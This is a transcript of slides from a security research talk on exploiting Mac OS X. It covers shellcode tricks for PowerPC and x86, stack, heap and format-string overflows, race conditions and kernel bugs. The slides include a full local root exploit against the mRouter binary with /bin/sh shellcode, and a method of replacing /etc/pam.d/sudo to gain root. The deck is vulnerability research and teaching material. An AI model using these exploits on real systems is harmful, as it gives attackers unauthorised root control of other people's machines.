720 likes | 953 Views
Breaking Mac OS X. By Neil Archibald and Ilja van Sprundel. Introduction. Ilja van Sprundel Works for Suresec Working with unix for a few years. Breaks stuff for fun and profit :) Intrigued by operating system internals. Who am I? Neil Archibald, Senior Security Researcher @ Suresec Ltd
E N D
Breaking Mac OS X By Neil Archibald and Ilja van Sprundel
Introduction • Ilja van Sprundel • Works for Suresec • Working with unix for a few years. • Breaks stuff for fun and profit :) • Intrigued by operating system internals. • Who am I? Neil Archibald, Senior Security Researcher @ Suresec Ltd • Interested in Mac OSX sys-internals and research for roughly two years.
What is Mac OS X? • A modern Operating system • A graphical user interface • Lots of userland applications • Runs on ppc architecture. (will run on intel). • Mac OS X has grown significantly in market share. OSXserver:/tmp ilja$ uname -a Darwin OSXserver 7.0.0 Darwin Kernel Version 7.0.0: Wed Sep 24 15:48:39 PDT 2003; root:xnu/xnu-517.obj~1/RELEASE_PPC Power Macintosh powerpc
Tools • gdb – Gnu Debugger, • otool – objdump and ldd replacement. • class-dump – Dump objective c class info • IDA Pro – the best disassembler around • HTE – useful for manipulating object files.
Shellcode Tips Some of the hurdles which a shellcoder must typically overcome are: • Code must be position independent. • Typically filters exist on the bytes which are allowed to be used in the shellcode. (usually a NULL byte is disallowed) • In threaded applications code must fork() to remain stable.
PPC Assembly • 32 bit instructions. Makes it easy to count offsets for relative jumps. Makes for large shellcode. • Endian: little or big endian, typically big. • System calls return to the instruction directly below the “sc” instruction on failure, or one instruction past that for success. • PPCExplain++
Shellcode Tips – P.I.C • x86 “jmp call pop” replacements. Example 1: Example 2: bcl 20,31,i_want_this i_want_this: mflr r3 _main: xor. r5,r5,r5 bnel _main mflr r30
Shellcode Tips – NULL bytes. • “sc” instruction = 0x44000002 • Reserved bits shown. • It can be replaced with: 0x44ffff02
Shellcode Tips – NULL bytes • “nop” instruction is recommended as: ori 0,0,0 = 0x60000000 • Can be replaced with: ori r0,r3,24672 = 0x60606060
Shellcode Tips – NULL bytes • “li” instruction is really “addi” with 0 as rA. • If the number required in a register is too small a null byte will occur. • We can add a number to our value to make it large enough to avoid null bytes. • We then subtract the same value to leave our required number.
Shellcode Tips - alignment • Since each instruction is 4 bytes, shellcode must be correctly word aligned in memory.
Intel (x86) Architecture • Hopefully you are familiar with x86 architecture! • Shellcode is pretty much the same as FreeBSD. In fact, most FreeBSD shellcode will work pretty much the same on osx86 as FreeBSD without modification.
Mac OSX Intel - Syscall calling convention • The “int $0x80” instruction can be used to enter kernel mode to execute a syscall. Also the “lcall” instruction can be used. • gcc generally uses lcall. • Syscall number in eax. Arguments are passed on the stack in reverse order. • An extra dummy byte must be pushed to the stack. This is because typically a code stub is used such as: call kernel: int $0x80 ret
Shellcode Tips – fork() • HD Moore release a paper on Mac OS X shellcode. • The execve() function returns EOPNOTSUPP if a process has more than one active thread. • To counter this reliable shellcode on Mac OS X must fork() before calling execve().
Architecture Spanning Shellcode. • Shellcode which will run on more than one architecture. • Applies to Mac OS X, now that the move to Intel is in process. • Phrack article on this subject: http://www.phrack.org/phrack/57/p57-0x0e
Architecture Spanning Shellcode – NOP Sled • CLD Instruction (Clear Direction Flag). Only modifies the direction flag, no memory access. Has the op code 0xfc on x86 architecture. • The fnmsub instruction (floating negative multiply-subtract) on ppc architecture does the following: • frD,frA,frC,frB = -((frA*frC)-frB) -> frD • Therefore also performs no memory access or changes to significant registers. It has the opcode fnmsub f7,f28,f19,f31 == 0xfcfcfcfc • This means 0xfcfcfcfc will work as a multi-archNOP instruction between ppc and x86.
Architecture Spanning Shellcode – PPC / x86 • Trick: find an instruction on ppc which will do nothing, but end in a jump instruction on x86. • Magic Instruction: 0x5f90eb48 • X86: 5f == pop %edi 90 == nop eb 48 == jmp $0x48 (bytes) • PPC: 5f 90 eb 48 == rlwnm r16,r28,r29,13,4
Architecture Spanning Shellcode. 5f 90 eb 48 • When execution hits this instruction on an x86 processor, it will jump 0x48 bytes forward over the ppc shellcode. • If a ppc processor interprets this instruction is will run directly into the ppc code. PPC SHELLCODE 0x48Bytes X86 SHELLCODE
Architecture Spanning Exploitation • Gaining control of execution in a platform inspecific way. • The initial heap zone struct (szone_t) is located at the same address on both x86 and ppc platforms. (gdb) x/x &initial_malloc_zones 0xa0010414 <initial_malloc_zones>: 0x01800000 • This struct, mentioned earlier, contains function pointers used by the heap. (malloc/free/etc/) • If we can control a write on both platforms we can use this address to gain control of execution and land in our multi-arch nop sled.
Mach-o format • - Overview • - Header files to read. /usr/include/mach-o/* • - Manipulating with HTE • Slides available from SySCAN’05 in references.
Auditing Mac OS X • Open Source Darwin Components • Closed source applications (Most of the GUI).
Code Auditing • Open source code for the Darwin component is available from: http://developer.apple.com/darwin/ • grep’ing for “APPLE” or “XXX” can be useful to find the changes Apple have made.
Reverse Engineering • IDA – Advanced for PPC/mach-o • class-dump for Objective-C binaries. (OBJ segment). • Phrack (61) paper on reverse engineeringon Mac OSX usinggnu debugger (gdb).
Debugging Tricks! • - Hidden Functions – (GDBComponentList || CFShow). http://developer.apple.com/technotes/tn2004/tn2124.html#LISTCALLFUNC • MacsBug • Environment variables (MallocStackLogging. Etc) • Antidebug - beating ptrace() protection.
Shared Library Redirection • DYLD_FRAMEWORK_PATH – Colon separated list of directories that contain frameworks. • DYLD_LIBRARY_PATH – Colon deliminated list of directories containing shared libraries. • DYLD_INSERT_LIBRARY – Insert a single .so into the process space. (Requires DYLD_FORCE_FLAT_NAMESPACE)
Buffer Overflow (stack) • Hopefully everyone is familiar with the concept of a stack based buffer overflow on x86 architecture. • LR (Link Register) – Used for storage of return address. • “blr” instruction (branch to link register) is the equivalent to the x86 “ret” instruction. BUFFER EBP EIP OVERFLOW
Buffer Overflow (Stack Layout) • Stack grows down towards lower memory addresses. • When two function calls deep, LR must be stored somewhere (stack). • Possible to overwrite stored LR to gain control.
Buffer Overflow (return address calculation) A similar technique to that shown in phrack (Smashing the stack for fun and profit): Also the address can be calculated exactly when stored in an environment variable: int sp (void) { __asm__("mr r0, r1"); } unsigned int ret = 0xbffffffa - strlen(shellcode); char *args[] = { VULNPROG, "-v", "-a", filler, NULL }; char *env[] = {"TERM=xterm", shellcode, NULL };
Buffer Overflow (fm-iSink.c) #define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/mRouter" #define MAXBUFSIZE 4096 char shellcode[] = // Shellcode by b-r00t, modified by nemo. "\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02" "\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60" "\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8" "\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68"; char filler[MAXBUFSIZE]; int main(int ac, char **av) { unsigned int ret = 0xbffffffa - strlen(shellcode); char *args[] = { VULNPROG, "-v", "-a", filler, NULL }; char *env[] = { "TERM=xterm", shellcode, NULL }; memset(filler,(char)'A',sizeof(filler)); memcpy(filler+MAXBUFSIZE-5,&ret,4); execve(*args, args,env); return 0; }
Format string bugs – (intro) • Introduction (misuse of a function with variable arguments). • Mac OS X is big endian. Writes are made in the opposite direction to x86. • Exploiting a format string typically gives you a write anything anywhere primitive. printf(buffer);
Format string bugs – (__cleanup) /* * Exit, flushing stdio buffers if necessary. */ void exit(status) int status; { struct atexit *p; int n; /* Ensure that the auto-initialization routine is linked in: */ extern int _thread_autoinit_dummy_decl; _thread_autoinit_dummy_decl = 1; for (p = __atexit; p; p = p->next) for (n = p->ind; --n >= 0;) (*p->fns[n])(); if (__cleanup) (*__cleanup)(); _exit(status); }
Format string bugs – (PIC stub) • PIC stubs generated: • Table of function pointers filled in by the dyld. • We can overwrite these function pointers to gain control of execution, • Note: Address of these function pointers contain null bytes, which makes writing to them more difficult. (gdb) x/8i 0x2d40 0x2d40 <dyld_stub_exit>: mflr r0 0x2d44 <dyld_stub_exit+4>: bcl- 20,4*cr7+so,0x2d48 <dyld_stub_exit+8> 0x2d48 <dyld_stub_exit+8>: mflr r11 0x2d4c <dyld_stub_exit+12>: addis r11,r11,0 0x2d50 <dyld_stub_exit+16>: mtlr r0 0x2d54 <dyld_stub_exit+20>: lwzu r12,840(r11) 0x2d58 <dyld_stub_exit+24>: mtctr r12 0x2d5c <dyld_stub_exit+28>: bctr
Heap Overflow - malloc() Overview • Made up of multiple zones. Most software only uses the default zone. • Different sized allocations come from different “regions” or “bins”. • Zone meta-data stored just after the large memory block bin. • When large memory is allocated vm_allocate() is used. This eventually reaches the zone meta-data.
Heap Overflow – szone_t typedef struct _malloc_zone_t { /* Only zone implementors should depend on the layout of this structure; Regular callers should use the access functions below */ void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */ void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */ size_t (*size)(struct _malloc_zone_t *zone, const void *ptr); void *(*malloc)(struct _malloc_zone_t *zone, size_t size); void *(*calloc)(struct _malloc_zone_t *zone, size_t num_items, size_t size); void *(*valloc)(struct _malloc_zone_t *zone, size_t size); void (*free)(struct _malloc_zone_t *zone, void *ptr); void *(*realloc)(struct _malloc_zone_t *zone, void *ptr, size_t size); void (*destroy)(struct _malloc_zone_t *zone); const char *zone_name; /* Optional batch callbacks; these may be NULL */ unsigned (*batch_malloc)(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); void (*batch_free)(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); struct malloc_introspection_t *introspect; unsigned version; } malloc_zone_t;
Heap Overflow - continued • The szone_t struct stored after the large memory block bin contains function pointers for each of the zone’s allocation and deallocation functions. • If we can overwrite this struct, the next call to any of the heap functions will result in control of execution.
Heap Overflow – Bugs • The WebKit library used by Safari and Mail.app is prone to bugs which can be exploited in this manner. • Because of the fact that web pages can be provided by the attacker, calls to malloc() can be orchestrated to cleave the way to the zone struct. • For full details on this technique read: • http://www.phrack.org/phrack/63/p63-0x05_OSX_Heap_Exploitation_Technqiues.txt
Race Conditions • File races are common on Mac OSX • Exploited in the same way as other Unix platforms. • Apple implemented a “super” stat() function. Without creating an equivalent to operate on an open file handle. DESCRIPTION The getattrlist() function returns attributes (that is, metadata) of file system objects. You can think of getattrlist() as a seriously enhanced version of stat(2). The function returns attributes about the file sys- tem object specified by path in the buffer specified by attrBuf and attrBufSize. The attrList parameter determines what attributes are returned. The options parameter lets you control specific aspects of the function's behaviour.
Exploiting Race Conditions • Example launchd bug, any file is chown()’ed to the user id of the invoking user. • To exploit this, we replaced /etc/pam.d/sudo with our own copy, requiring no authentication. Then used sudo to gain uid=0.
The 80’s Called, they want their bugs back!!!! • Low hanging fruit! • dsidentity bug, getenv(“USER”);?? • malloc() bug, MALLOC_LOG_FILE environment variable. char *envStr = nil; envStr = getenv("USER"); //check for member of admin group if ( (envStr != nil) && UserIsMemberOfGroup( inDSRef, inDSNodeRef, envStr, "admin" ) ) { return true; }
dyld bug. static const char* sFrameworkFallbackPaths[] = { "$HOME/Library/Frameworks", "/Library/Frameworks" , "/Network/Library/Frameworks", "/System/Library/Frameworks", NULL }; static const char* sLibraryFallbackPaths[] = { "$HOME/lib", "/usr/local/lib", "/usr/lib", NULL }; ... // default value for DYLD_FALLBACK_FRAMEWORK_PATH, if not set in environment if ( sEnv.DYLD_FALLBACK_FRAMEWORK_PATH == NULL ) { const char** paths = sFrameworkFallbackPaths; if ( home != NULL ) { if ( riskyUser() ) removePathWithPrefix(paths, "$HOME"); else paths_expand_roots(paths, "$HOME", home); } sEnv.DYLD_FALLBACK_FRAMEWORK_PATH = paths; } // default value for DYLD_FALLBACK_LIBRARY_PATH, if not set in environment if ( sEnv.DYLD_FALLBACK_LIBRARY_PATH == NULL ) { const char** paths = sLibraryFallbackPaths; if ( home != NULL ) { if ( riskyUser() ) removePathWithPrefix(paths, "$HOME"); else paths_expand_roots(paths, "$HOME", home); } sEnv.DYLD_FALLBACK_LIBRARY_PATH = paths; }
Return to libSystem • Most people run ‘softwareupdate` regularly, therefore most people are running the exact same binaries. This makes returning into the binary itself reliable. • Calling convention: Function arguments are passed in the general purpose registers, starting with r3. • “otool –tv <filename>” can be used to dump an assembly listing of a binary. To find instructions which are needed.
Return to libSystem • The “lmw” instruction is most useful, however it is very rare to find this instruction in a binary, starting loading from the r3, register. • An example of some instructions which we could use are: • getusershell() will store the shell of the current user in ‘r3’. // [/usr/lib/libSystem.B.dylib] //9001b88c lwz r3,0x38(r1) //9001b890 addi r1,r1,0x60 //9001b894 lwz r0,0x8(r1) //9001b898 lmw r29,0xfff4(r1) //9001b89c mtspr lr,r0 //9001b8a0 blr
What is Darwin? • A part of Mac OS X • An operating system on itself • Unix based • Userland applications and a kernel • Runs on ppc and i386
What is xnu? • The unix kernel that darwin and Mac OS X use • A mix of 4.4(Free)BSD and 3.0 Mach
Why kernel vulnerabilities? • They are fun to play with • Hard to strip down a kernel, unlike userland applications.
Information leaks • A bug in the kernel allowing disclosure of kernel data. • Has the potential to contain sensitive information. • Usually easily triggered and exploited.
Example static int ifconf(u_long cmd, user_addr_t ifrp, int * ret_space) { struct ifaddr *ifa; struct ifreq ifr; ... space = *ret_space; for (ifp = ifnet_head.tqh_first; space > sizeof(ifr) && ifp; ifp = ifp->if_link.tqe_next) { char workbuf[64]; size_t ifnlen, addrs; ifnlen = snprintf(workbuf, sizeof(workbuf), "%s%d", ifp->if_name, ifp->if_unit); ... strcpy(ifr.ifr_name, workbuf); ... ifa = ifp->if_addrhead.tqh_first; for ( ; space > sizeof (ifr) && ifa; ifa = ifa->ifa_link.tqe_next) { struct sockaddr *sa = ifa->ifa_addr; addrs++; if (sa->sa_len <= sizeof(*sa)) { ifr.ifr_addr = *sa; error = copyout((caddr_t)&ifr, ifrp, sizeof(ifr)); ifrp += sizeof(struct ifreq); } else { ... } ... } • ifr.ifr_name doesn’t get initialized. • strcpy() leaves part of ifr_name uninitialized. • Data is copyout()’d to userspace.
Kernel Buffer Overflows • Known for a VERY long time! • They do exist in the kernel as well. • They are exploitable in a similar fashion to userland.
Stack based buffer overflows in the darwin kernel. • There are a few • The same rules apply (mentioned earlier) • A few differences when comparing to exploiting them in userland. • The goal is the same, get a shell with elevated privileges.
Stack based buffer overflows in the darwin kernel: kernel shellcode • Unlike userland shellcode, we cannot just call execve(). • We can change the user id and group id of a process. • Each process has it’s own process structure somewhere in memory. • Among other things it stored the userid and groupid. • All our shellcode has to do is find this struct and modify the uid and gid.